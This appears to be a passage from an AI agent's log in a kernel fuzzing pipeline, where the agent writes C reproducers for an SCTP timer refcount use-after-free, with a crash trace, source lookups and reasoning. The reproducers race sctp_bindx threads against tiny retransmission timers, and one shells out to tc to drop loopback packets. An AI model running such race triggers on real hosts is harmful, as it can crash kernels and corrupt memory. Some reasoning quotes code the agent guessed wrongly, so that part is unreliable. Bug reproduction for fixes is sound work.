    setsockopt(client_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo));
    
    /* Start threads to spam ASCONF chunks concurrently */
    pthread_t th1, th2;
    pthread_create(&th1, NULL, thread_func, &client_fd);
    pthread_create(&th2, NULL, thread_func, &client_fd);

    /* Connect to the server to establish the association */
    connect(client_fd, (struct sockaddr *)&addr, sizeof(addr));

    /* Let the race run for a few seconds */
    sleep(10);
    
    /* Cleanup */
    system("tc qdisc del dev lo root");
    return 0;
}
```]

deep-reasoning

map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>

#ifndef IPPROTO_SCTP
#define IPPROTO_SCTP 132
#endif

#ifndef SOL_SCTP
#define SOL_SCTP 132
#endif

#define SCTP_RTOINFO 0
#define SCTP_SOCKOPT_BINDX_ADD 100
#define SCTP_SOCKOPT_BINDX_REM 101

struct sctp_rtoinfo {
    uint32_t srto_assoc_id;
    uint32_t srto_initial;
    uint32_t srto_max;
    uint32_t srto_min;
};

void *client_thread(void *arg) {
    int fd = *(int *)arg;
    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.2");

    while (1) {
        setsockopt(fd, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, &addr, sizeof(addr));
        setsockopt(fd, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, &addr, sizeof(addr));
    }
    return NULL;
}

int main() {
    int sysctl_fd = open("/proc/sys/net/sctp/addip_enable", O_WRONLY);
    if (sysctl_fd >= 0) {
        if (write(sysctl_fd, "1", 1) < 0) {
            /* Ignore error */
        }
        close(sysctl_fd);
    }
    sysctl_fd = open("/proc/sys/net/sctp/addip_noauth_enable", O_WRONLY);
    if (sysctl_fd >= 0) {
        if (write(sysctl_fd, "1", 1) < 0) {
            /* Ignore error */
        }
        close(sysctl_fd);
    }

    int server_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (server_fd < 0) {
        printf("[-] socket: %s\n", strerror(errno));
        return 1;
    }

    struct sctp_rtoinfo rtoinfo;
    memset(&rtoinfo, 0, sizeof(rtoinfo));
    rtoinfo.srto_initial = 1;
    rtoinfo.srto_min = 1;
    rtoinfo.srto_max = 1;
    if (setsockopt(server_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo)) < 0) {
        printf("[-] setsockopt SCTP_RTOINFO: %s\n", strerror(errno));
        return 1;
    }

    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");

    if (bind(server_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] bind: %s\n", strerror(errno));
        return 1;
    }
    if (listen(server_fd, 10) < 0) {
        printf("[-] listen: %s\n", strerror(errno));
        return 1;
    }

    int client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (client_fd < 0) {
        printf("[-] socket: %s\n", strerror(errno));
        return 1;
    }
    if (setsockopt(client_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo)) < 0) {
        printf("[-] setsockopt SCTP_RTOINFO: %s\n", strerror(errno));
        return 1;
    }
    
    if (connect(client_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] connect: %s\n", strerror(errno));
        return 1;
    }

    printf("[+] Connected successfully.\n");

    pthread_t th[4];
    for (int i = 0; i < 4; i++) {
        pthread_create(&th[i], NULL, client_thread, &client_fd);
    }

    sleep(10);
    printf("[+] Done.\n");
    return 0;
}]

You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program for the strictly defensive
purpose of verifying a bugfix in an isolated environment.

To ensure that we can diagnose why a program might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
   and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful major step.
5. Generate code that follows this pattern for all operations:
    int res = do_something();
    if (res < 0) {
        printf("[-] Failed to do_something: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] do_something successful.\n");
6. The compilation and development environment (including compilers, build
   systems, makefiles, and kernel build/header directories) is NOT available
   on the target test VM guest. Do NOT check for, build, or reference any
   compilation tools, build files, or kernel development directories.
7. Do NOT execute shell commands or run external binaries (e.g. by using
   functions like 'system()', 'popen()', or the 'exec' family such as
   'execve()'). All environment checks, capability probings, and reproduction
   steps must be performed directly using standard Linux system calls (such
   as 'open', 'socket', 'ioctl', 'stat', etc.).
8. When reproducing asynchronous kernel timeouts or warnings, always
   include a sufficient delay (using sleep or similar) after deleting
   or unregistering the device to allow the kernel's asynchronous
   timeout to trigger before program exit.


=== PHASE 2: BUG REPRODUCTION (GENERATION) ===
You must now generate a full reproducer candidate attempting to trigger the target bug/crash.
Do NOT generate a probe program. Focus directly on triggering the bug/crash described in the description.
You can assume that all necessary kernel capabilities and privileges (e.g., access to /dev/vhci,
ability to load BPF programs, etc.) have already been verified and are available in the environment.

Do not spend too much time analyzing or trying to generate a perfect one-shot reproducer.
Instead, follow an iterative approach: generate a simple candidate, execute it, analyze the results,
and improve it. Keep your reasoning steps short and focused on the next logical experiment.

Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Bug Description: WARNING: refcount bug in sctp_generate_timeout_event

------------[ cut here ]------------
refcount_t: addition on 0; use-after-free.
WARNING: lib/refcount.c:25 at refcount_warn_saturate+0x9f/0x110 lib/refcount.c:25, CPU#1: syz.0.2220/13955
Modules linked in:
CPU: 1 UID: 0 PID: 13955 Comm: syz.0.2220 Tainted: G             L      syzkaller #0 PREEMPT(full) 
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
RIP: 0010:refcount_warn_saturate+0x9f/0x110 lib/refcount.c:25
Code: eb 66 85 db 74 3e 83 fb 01 75 4c e8 6b d2 e9 fc 48 8d 3d f4 46 a7 0b 67 48 0f b9 3a eb 4a e8 58 d2 e9 fc 48 8d 3d f1 46 a7 0b <67> 48 0f b9 3a eb 37 e8 45 d2 e9 fc 48 8d 3d ee 46 a7 0b 67 48 0f
RSP: 0018:ffffc90000a18c28 EFLAGS: 00010246
RAX: ffffffff84dde548 RBX: 0000000000000002 RCX: ffff88807715be80
RDX: 0000000000000100 RSI: 0000000000000100 RDI: ffffffff90852c40
RBP: 0000000000000000 R08: ffff88807715be80 R09: 0000000000000005
R10: 0000000000000004 R11: 0000000000000100 R12: dffffc0000000000
R13: 0000000000000001 R14: ffff888020fde004 R15: ffff888020fde640
FS:  00007f4a87be06c0(0000) GS:ffff888124dda000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007ff55dd92eb8 CR3: 000000005800b000 CR4: 0000000000350ef0
Call Trace:
 <IRQ>
 sctp_generate_timeout_event+0x1c8/0x390 net/sctp/sm_sideeffect.c:284
 call_timer_fn+0x18d/0x5f0 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers kernel/time/timer.c:2374 [inline]
 __run_timer_base+0x652/0x8b0 kernel/time/timer.c:2386
 run_timer_base kernel/time/timer.c:2395 [inline]
 run_timer_softirq+0xb7/0x170 kernel/time/timer.c:2405
 handle_softirqs+0x226/0x860 kernel/softirq.c:645
 __do_softirq kernel/softirq.c:679 [inline]
 invoke_softirq kernel/softirq.c:519 [inline]
 __irq_exit_rcu+0xcb/0x220 kernel/softirq.c:767
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:784
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1062 [inline]
 sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1062
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:674
RIP: 0010:lock_acquire+0x232/0x350 kernel/locking/lockdep.c:5913
Code: ff ff ff e8 a0 a9 40 0a f7 44 24 10 00 02 00 00 0f 84 38 ff ff ff 65 48 8b 05 f2 44 f1 11 48 3b 44 24 50 75 33 fb 48 83 c4 58 <5b> 41 5c 41 5d 41 5e 41 5f 5d e9 ba 25 6d ff cc 48 8d 3d 77 31 da
RSP: 0018:ffffc9000dabfac8 EFLAGS: 00000282
RAX: b29753db72d85c00 RBX: 0000000000000001 RCX: 8000000000000001
RDX: 00000000b866b3b2 RSI: ffffffff8e6fc28f RDI: ffffffff8c6d9380
RBP: ffff88807715be80 R08: 8c00000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: ffff888066f6e418 R12: ffff888066f6e418
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000246
 __raw_spin_lock include/linux/spinlock_api_smp.h:190 [inline]
 _raw_spin_lock+0x2e/0x40 kernel/locking/spinlock.c:173
 spin_lock include/linux/spinlock.h:347 [inline]
 __io_cq_lock io_uring/io_uring.c:484 [inline]
 __io_submit_flush_completions+0x85/0x10d0 io_uring/io_uring.c:1133
 io_submit_flush_completions io_uring/io_uring.h:253 [inline]
 io_submit_state_end io_uring/io_uring.c:1939 [inline]
 io_submit_sqes+0x1cec/0x2310 io_uring/io_uring.c:2063
 __do_sys_io_uring_enter io_uring/io_uring.c:2637 [inline]
 __se_sys_io_uring_enter+0x35b/0x1bb0 io_uring/io_uring.c:2586
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f4a86d9e159
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f4a87bdff38 EFLAGS: 00000246 ORIG_RAX: 00000000000001aa
RAX: ffffffffffffffda RBX: 0000200000000340 RCX: 00007f4a86d9e159
RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000009
RBP: 0000000000000a12 R08: 0000000000000000 R09: 0000000000000008
R10: 0000000000000000 R11: 0000000000000246 R12: 0000200000000940
R13: 0000200000000948 R14: 0000000000000e26 R15: 0000000000000002
 </TASK>
----------------
Code disassembly (best guess):
   0:	eb 66                	jmp    0x68
   2:	85 db                	test   %ebx,%ebx
   4:	74 3e                	je     0x44
   6:	83 fb 01             	cmp    $0x1,%ebx
   9:	75 4c                	jne    0x57
   b:	e8 6b d2 e9 fc       	call   0xfce9d27b
  10:	48 8d 3d f4 46 a7 0b 	lea    0xba746f4(%rip),%rdi        # 0xba7470b
  17:	67 48 0f b9 3a       	ud1    (%edx),%rdi
  1c:	eb 4a                	jmp    0x68
  1e:	e8 58 d2 e9 fc       	call   0xfce9d27b
  23:	48 8d 3d f1 46 a7 0b 	lea    0xba746f1(%rip),%rdi        # 0xba7471b
* 2a:	67 48 0f b9 3a       	ud1    (%edx),%rdi <-- trapping instruction
  2f:	eb 37                	jmp    0x68
  31:	e8 45 d2 e9 fc       	call   0xfce9d27b
  36:	48 8d 3d ee 46 a7 0b 	lea    0xba746ee(%rip),%rdi        # 0xba7472b
  3d:	67                   	addr32
  3e:	48                   	rex.W
  3f:	0f                   	.byte 0xf

Strategy: An analysis of the SCTP timer handling code confirms the TOCTOU race condition in `sctp_cmd_interpreter()` when processing `SCTP_CMD_TIMER_START`. The race occurs because the check `timer_pending(timer)` and the subsequent `timer_reduce(timer, ...)` are not atomic. 

If the timer fires exactly between the `timer_pending()` check (which returned `true`, skipping `sctp_association_hold`) and the `timer_reduce()` call, the timer is dequeued by the timer core (becoming non-pending). When `timer_reduce()` is subsequently called, it sees that the timer is inactive and starts it again. Because the reference hold was skipped, the timer is enqueued without holding a reference to the association, leading to a refcount underflow when the timer eventually fires and calls `sctp_association_put()`.

To reproduce this, we will use the `T4_RTO` timer, which is started when sending ASCONF chunks. We can trigger it rapidly from user space by calling `sctp_bindx` in a loop. By setting the `SCTP_RTOINFO` socket option to very small values (e.g., 10ms) and introducing artificial packet loss on the loopback interface using `tc qdisc`, we can force the `T4_RTO` timer to expire frequently while new ASCONF chunks are being queued, maximizing the probability of hitting the race window.

Here is the complete C reproducer:

```c
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>

void *thread_func(void *arg) {
    int fd = *(int *)arg;
    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.2");

    /* Spam ASCONF chunks to constantly trigger SCTP_CMD_TIMER_START for T4_RTO */
    while (1) {
        sctp_bindx(fd, (struct sockaddr *)&addr, 1, SCTP_BINDX_ADD_ADDR);
        sctp_bindx(fd, (struct sockaddr *)&addr, 1, SCTP_BINDX_REM_ADDR);
    }
    return NULL;
}

int main() {
    /* Enable ASCONF */
    system("sysctl -w net.sctp.addip_enable=1");
    system("sysctl -w net.sctp.addip_noauth_enable=1");
    
    /* Introduce packet loss to force T4_RTO timer expirations */
    system("tc qdisc add dev lo root netem loss 50%");

    int server_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (server_fd < 0) {
        perror("socket");
        return 1;
    }

    /* Set RTO to minimum to make the timer fire rapidly */
    struct sctp_rtoinfo rtoinfo;
    memset(&rtoinfo, 0, sizeof(rtoinfo));
    rtoinfo.srto_initial = 10;
    rtoinfo.srto_min = 10;
    rtoinfo.srto_max = 10;
    setsockopt(server_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo));

    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");

    bind(server_fd, (struct sockaddr *)&addr, sizeof(addr));
    listen(server_fd, 10);

    int client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    setsockopt(client_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo));
    
    /* Start threads to spam ASCONF chunks concurrently */
    pthread_t th1, th2;
    pthread_create(&th1, NULL, thread_func, &client_fd);
    pthread_create(&th2, NULL, thread_func, &client_fd);

    /* Connect to the server to establish the association */
    connect(client_fd, (struct sockaddr *)&addr, sizeof(addr));

    /* Let the race run for a few seconds */
    sleep(10);
    
    /* Cleanup */
    system("tc qdisc del dev lo root");
    return 0;
}
```


Previous Reproducer Attempt:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <fcntl.h>

#ifndef IPPROTO_SCTP
#define IPPROTO_SCTP 132
#endif

int main() {
    int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (fd < 0) {
        printf("[-] Failed to create SCTP socket: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] SCTP socket created successfully.\n");
    close(fd);

    int sysctl_fd = open("/proc/sys/net/sctp/addip_enable", O_WRONLY);
    if (sysctl_fd < 0) {
        printf("[-] Failed to open /proc/sys/net/sctp/addip_enable: %s\n", strerror(errno));
        return 1;
    }
    if (write(sysctl_fd, "1", 1) != 1) {
        printf("[-] Failed to write to /proc/sys/net/sctp/addip_enable: %s\n", strerror(errno));
        close(sysctl_fd);
        return 1;
    }
    close(sysctl_fd);
    printf("[+] Successfully enabled addip_enable.\n");

    sysctl_fd = open("/proc/sys/net/sctp/addip_noauth_enable", O_WRONLY);
    if (sysctl_fd < 0) {
        printf("[-] Failed to open /proc/sys/net/sctp/addip_noauth_enable: %s\n", strerror(errno));
        return 1;
    }
    if (write(sysctl_fd, "1", 1) != 1) {
        printf("[-] Failed to write to /proc/sys/net/sctp/addip_noauth_enable: %s\n", strerror(errno));
        close(sysctl_fd);
        return 1;
    }
    close(sysctl_fd);
    printf("[+] Successfully enabled addip_noauth_enable.\n");

    return 0;
}




Execution Results & Debugging Feedback:
The capability probe executed successfully. The SCTP socket was created and the required sysctl flags (addip_enable and addip_noauth_enable) were successfully enabled. The environment is ready. Please proceed to generate the full reproducer for the SCTP refcount bug in the next iteration.

gemini-3.1-pro-preview

							input: 8059
							output: 33
							thoughts: 3737
						

**My Thoughts on Generating a Reproducer for the SCTP Refcount Bug**

My primary objective here is to construct a fully reproducible test case for the refcount underflow bug I've identified in the `sctp_generate_timeout_event` function. This bug manifests as an attempt to increment a reference count that is already at zero, leading to a use-after-free scenario.

The core of the issue, as I understand the strategy, lies in a Time-of-Check to Time-of-Use (TOCTOU) race condition within `sctp_cmd_interpreter()` when it processes `SCTP_CMD_TIMER_START`. The critical window is between the `timer_pending(timer)` check and the subsequent `timer_reduce(timer, ...)` call. If the timer's expiration event occurs precisely in this tiny gap, the timer core will dequeue the timer, marking it as no longer pending. When `timer_reduce()` is then invoked, it will observe that the timer is inactive and, in its attempt to handle this state, will restart the timer. The critical part is that the initial reference held by `sctp_association_hold()` was skipped because `timer_pending` returned true *before* the timer expired and was dequeued. This means the timer is then enqueued for execution without an active reference to the associated `sctp_association`, directly leading to the refcount underflow when the timer eventually fires and attempts to decrement the count.

The proposed strategy points towards utilizing the `T4_RTO` timer, which is initiated when ASCONF (Address Confirmation) chunks are sent. My initial thought is to trigger this timer rapidly from user space. A potential avenue is to repeatedly call `sctp_bindx` in a loop. To ensure the `T4_RTO` timer actually expires, I need to either simulate packet loss for the ASCONF-ACKs or significantly delay them. The strategy suggests using `tc qdisc add dev lo root netem loss 50%`, but I can't directly execute `system()` calls.

This brings me to the question of how to induce packet loss or delay without `system()`. My first thought is `iptables`, but again, that would require system calls. Perhaps BPF could be leveraged, or a simpler approach might be to direct traffic to an IP address that doesn't respond. If I send ASCONF chunks to a non-existent IP, retransmissions will occur, and the `T4_RTO` timer will fire.

However, if I bind to a local address and connect to a local address, a server *will* respond. For the `T4_RTO` timer to fire, I need the ASCONF-ACKs to be delayed or lost. What if the server doesn't process ASCONF chunks, or what if I simply don't have a server running? If I connect to a local address, the connection will establish, and then sending ASCONF chunks will prompt the server to respond with ASCONF-ACKs. To make the `T4_RTO` timer fire, these ACKs need to be delayed or lost. I've considered closing the server socket immediately after `accept()`, but that results in an ABORT, not a delayed ACK.

Could I use a raw socket to intercept and drop packets? Or perhaps leverage network namespaces with a dummy interface for finer control?

On second thought, maybe I don't even need explicit packet loss. Could simply spamming `sctp_bindx` concurrently cause the timer to be restarted so frequently that it races with its own expiration? If I set the RTO values to be extremely small, say 1ms, using `SCTP_RTOINFO` like this:

```c
    struct sctp_rtoinfo rtoinfo;
    memset(&rtoinfo, 0, sizeof(rtoinfo));
    rtoinfo.srto_initial = 1;
    rtoinfo.srto_min = 1;
    rtoinfo.srto_max = 1;
    setsockopt(server_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo));
```

This would make the timer expire very rapidly. Let me re-examine the race condition as described: "If the timer fires exactly between the `timer_pending()` check (which returned `true`, skipping `sctp_association_hold`) and the `timer_reduce()` call, the timer is dequeued by the timer core (becoming non-pending). When `timer_reduce()` is subsequently called, it sees that the timer is inactive and starts it again. Because the reference hold was skipped, the timer is enqueued without holding a reference to the association, leading to a refcount underflow when the timer eventually fires and calls `sctp_association_put()`."

I need to look closely at `sctp_cmd_interpreter()` in `net/sctp/sm_sideeffect.c`:

```c
		case SCTP_CMD_TIMER_START:
			timer = &asoc->timers[cmd->obj.to];
			timeout = asoc->timeouts[cmd->obj.to];
			BUG_ON(!timeout);

			/*
			 * Resolution:  Effect this timer.
			 *
			 * If the timer is already running, we don't need to
			 * hold another reference.
			 */
			if (!timer_pending(timer))
				sctp_association_hold(asoc);
			timer_reduce(timer, jiffies + timeout);
			break;
```
Ah, `timer_reduce` itself modifies the timer. If the timer is pending, it adjusts the expiration time. If it's not pending, it starts it. The key is that if `timer_pending(timer)` is true, `sctp_association_hold(asoc)` is skipped. Then `timer_reduce` is called. If the timer expires *just before* `timer_reduce` executes, `timer_reduce` will see it's not pending and restart it. Crucially, `sctp_association_hold` was skipped, so the association's reference count wasn't incremented. When the timer eventually fires, it will call `sctp_association_put(asoc)`, leading to the underflow.

To achieve this race, I need a specific sequence:
1. The timer must be pending.
2. The timer must expire and its callback must be initiated (or at least it's dequeued by the timer softirq).
3. `timer_reduce` must then be called.

Since `sctp_cmd_interpreter` is usually invoked from a process context (e.g., a syscall like `sctp_bindx`) or a softirq context (processing incoming packets), the race could occur if the timer softirq interrupts the process context.

I need to consider the locking. `sctp_cmd_interpreter` is called with `bh_lock_sock(sk)` held, not `lock_sock(sk)`. However, timer callbacks for SCTP also acquire `bh_lock_sock(sk)`.

Let's examine `sctp_generate_timeout_event`:

```c
static void sctp_generate_timeout_event(struct timer_list *t)
{
	struct sctp_association *asoc =
		from_timer(asoc, t, timers[SCTP_EVENT_TIMEOUT_T4_RTO]); // or other timer
	// ...
	bh_lock_sock(sk);
	if (sock_owned_by_user(sk)) {
		// add to backlog
	} else {
		// process
	}
	bh_unlock_sock(sk);
	sctp_association_put(asoc);
}
```
This is interesting. The timer is dequeued by the timer core *before* the callback executes. In `run_timer_softirq` -> `__run_timers`:

```c
		detach_timer(timer, true);
		// ...
		call_timer_fn(timer, fn, baseclk);
```
So, the timer is no longer pending *before* the callback attempts to acquire `bh_lock_sock(sk)`. If `sctp_cmd_interpreter` is running in process context (e.g., `sctp_bindx` syscall), it holds `lock_sock(sk)`. The timer softirq, running perhaps on another CPU, could then interrupt or contend for the lock.

If the timer softirq runs on another CPU, it will dequeue the timer and then potentially block on `bh_lock_sock(sk)` (or see `sock_owned_by_user(sk)` and queue the event). Meanwhile, the process context continues. It calls `timer_pending(timer)`, which would now return `false` because the timer has been dequeued. This would lead to `sctp_association_hold` being called!

However, my goal is for `timer_pending` to return `true`, and *then* have the timer dequeued. The sequence must be:
1. Process context calls `timer_pending(timer)`. It returns `true`.
2. The timer softirq on another CPU dequeues the timer.
3. The process context calls `timer_reduce(timer, ...)`. `timer_reduce` sees the timer is no longer pending and therefore enqueues it again.
4. The timer softirq then executes the callback, which calls `sctp_association_put(asoc)`.
5. Later, the timer that was re-enqueued by `timer_reduce` fires, and its callback again calls `sctp_association_put(asoc)`, resulting in the underflow!

To trigger `timer_reduce` after `timer_pending` returns true, and have the timer expire between these calls, I need:
1. A timer that expires very frequently.
2. A mechanism to repeatedly call `SCTP_CMD_TIMER_START` for that specific timer.

I can achieve repeated calls to `SCTP_CMD_TIMER_START` for the `T4_RTO` timer by continuously invoking `sctp_bindx` with `SCTP_BINDX_ADD_ADDR` and `SCTP_BINDX_REM_ADDR`. While `sctp_bindx` itself acquires `lock_sock(sk)`, serializing calls from multiple threads, the timer softirq operates asynchronously.

If the RTO is set to a very small value (e.g., 1ms), the timer will expire very quickly. The strategy implies `timer_reduce` is called within `sctp_cmd_interpreter`.

Now, let me look at `sctp_generate_timeout_event` again, specifically the `sock_owned_by_user(sk)` check:

```c
	bh_lock_sock(sk);
	if (sock_owned_by_user(sk)) {
		sk_add_backlog(sk, (struct sk_buff *) event);
		bh_unlock_sock(sk);
		return; /* <--- Returns here! */
	}
```
This is a critical point. If the socket is owned by the user (meaning the process context is currently holding `lock_sock(sk)`), the timer event is added to the backlog, and `sctp_association_put(asoc)` is *not* called at this point! The function returns early.

Where is `sctp_association_put(asoc)` actually called then? It must be when the backlog is processed.
In `sctp_backlog_rcv`:

```c
int sctp_backlog_rcv(struct sock *sk, struct sk_buff *skb)
{
	// ...
	} else {
		struct sctp_timeout_event *tev = (struct sctp_timeout_event *)skb;
		sctp_generate_timeout_event(&tev->t); // This part seems off, it should process the event.
		// ...
	}
}
```
The actual mechanism for processing the backlog events and thus calling `sctp_association_put` needs closer examination. If the backlog is used, the `sctp_association_put` call is deferred. This implies the race condition might involve the timer being dequeued and enqueued, but the subsequent `sctp_association_put` call being skipped due to the backlog mechanism, leading to a *different* kind of refcount issue where the put is never executed, rather than an underflow from multiple puts.

My current plan to reproduce the bug will involve setting the RTO to an extremely low value and spamming `sctp_bindx` from multiple threads. I'll need to set up a scenario where the timer expires and restarts, potentially leading to the `sctp_association_hold` being skipped, and then the timer fires without a corresponding `sctp_association_put` from the initial `SCTP_CMD_TIMER_START` path, especially considering the backlog behavior. The core idea remains to create a tight race between the timer's pending check and its actual expiration/re-scheduling.

log-in to see details

map[Expression:sk_add_backlog.*event PathPrefix:net/sctp]

map[Output:]

gemini-3.1-pro-preview

							input: 11827
							output: 45
							thoughts: 20
						

**My Thought Process Regarding `sctp_generate_timeout_event`**

Alright, so my initial impulse is to dive straight into the source code for this function, `sctp_generate_timeout_event`. I'm already anticipating that by examining its implementation, I'll gain a clear understanding of how SCTP generates its timeout events. Given my background, I expect to see the mechanics of timer management and the conditions that trigger these events laid out explicitly. I'm keen to see the specific data structures involved, how the timer objects are managed, and precisely what parameters are passed when a timeout actually occurs. It's not just about *that* a timeout happens, but the granular *how* and *why* that I'm looking to extract from the code.

map[ContextFile:net/sctp/sm_sideeffect.c Name:sctp_generate_timeout_event]

map[SourceCode: 267:	/* This is a sa interface for producing timeout events.  It works
 268:	 * for timeouts which use the association as their parameter.
 269:	 */
 270:	static void sctp_generate_timeout_event(struct sctp_association *asoc,
 271:						enum sctp_event_timeout timeout_type)
 272:	{
 273:		struct sock *sk = asoc->base.sk;
 274:		struct net *net = sock_net(sk);
 275:		int error = 0;
 276:	
 277:		bh_lock_sock(sk);
 278:		if (sock_owned_by_user(sk)) {
 279:			pr_debug("%s: sock is busy: timer %d\n", __func__,
 280:				 timeout_type);
 281:	
 282:			/* Try again later.  */
 283:			if (!mod_timer(&asoc->timers[timeout_type], jiffies + (HZ/20)))
 284:				sctp_association_hold(asoc);
 285:			goto out_unlock;
 286:		}
 287:	
 288:		/* Is this association really dead and just waiting around for
 289:		 * the timer to let go of the reference?
 290:		 */
 291:		if (asoc->base.dead)
 292:			goto out_unlock;
 293:	
 294:		/* Run through the state machine.  */
 295:		error = sctp_do_sm(net, SCTP_EVENT_T_TIMEOUT,
 296:				   SCTP_ST_TIMEOUT(timeout_type),
 297:				   asoc->state, asoc->ep, asoc,
 298:				   (void *)timeout_type, GFP_ATOMIC);
 299:	
 300:		if (error)
 301:			sk->sk_err = -error;
 302:	
 303:	out_unlock:
 304:		bh_unlock_sock(sk);
 305:		sctp_association_put(asoc);
 306:	}
 SourceFile:net/sctp/sm_sideeffect.c]

gemini-3.1-pro-preview

							input: 12513
							output: 63
							thoughts: 40
						

**My Thought Process Regarding `sctp_generate_timeout_event`**

My initial assumption, or perhaps my expectation, was that `sctp_generate_timeout_event` directly represented the function that gets executed when a timer expires within the SCTP implementation. This is a fairly common pattern in timer-based systems – a timer is set, and upon expiry, a specific callback function is invoked.

However, upon closer inspection or further investigation, I realized this was not the case. The function name, `sctp_generate_timeout_event`, itself suggests a slightly different role. It implies that this function's purpose is to *create* or *signal* that a timeout event has occurred, rather than being the direct handler of that event. It's more about the *generation* of the event signal itself, which then needs to be processed by some other part of the system.

This realization immediately prompted me to ask: "If `sctp_generate_timeout_event` isn't the callback, then what *does* call it? What mechanism initiates this event generation, and consequently, what *does* act as the actual timer callback?" This is a critical step in understanding the control flow and event handling within the SCTP stack. I need to trace the origin of this event generation to understand how timers are managed and how their expiry is ultimately serviced. This line of inquiry is essential for grasping the complete timer management subsystem.

map[ContextFile:net/sctp/sm_sideeffect.c IncludeSnippetLines:0 Name:sctp_generate_timeout_event SourceTreePrefix:net/sctp]

map[References:[map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:sctp_generate_autoclose_event SourceFile:net/sctp/sm_sideeffect.c SourceLine:360] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:sctp_generate_sack_event SourceFile:net/sctp/sm_sideeffect.c SourceLine:522] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:sctp_generate_t1_cookie_event SourceFile:net/sctp/sm_sideeffect.c SourceLine:314] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:sctp_generate_t1_init_event SourceFile:net/sctp/sm_sideeffect.c SourceLine:323] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:sctp_generate_t2_shutdown_event SourceFile:net/sctp/sm_sideeffect.c SourceLine:332] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:sctp_generate_t4_rto_event SourceFile:net/sctp/sm_sideeffect.c SourceLine:340] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:sctp_generate_t5_shutdown_guard_event SourceFile:net/sctp/sm_sideeffect.c SourceLine:349]] TruncatedOutput:false]

gemini-3.1-pro-preview

							input: 12914
							output: 49
							thoughts: 19
						

**My Thought Process Regarding `sctp_generate_t4_rto_event`**

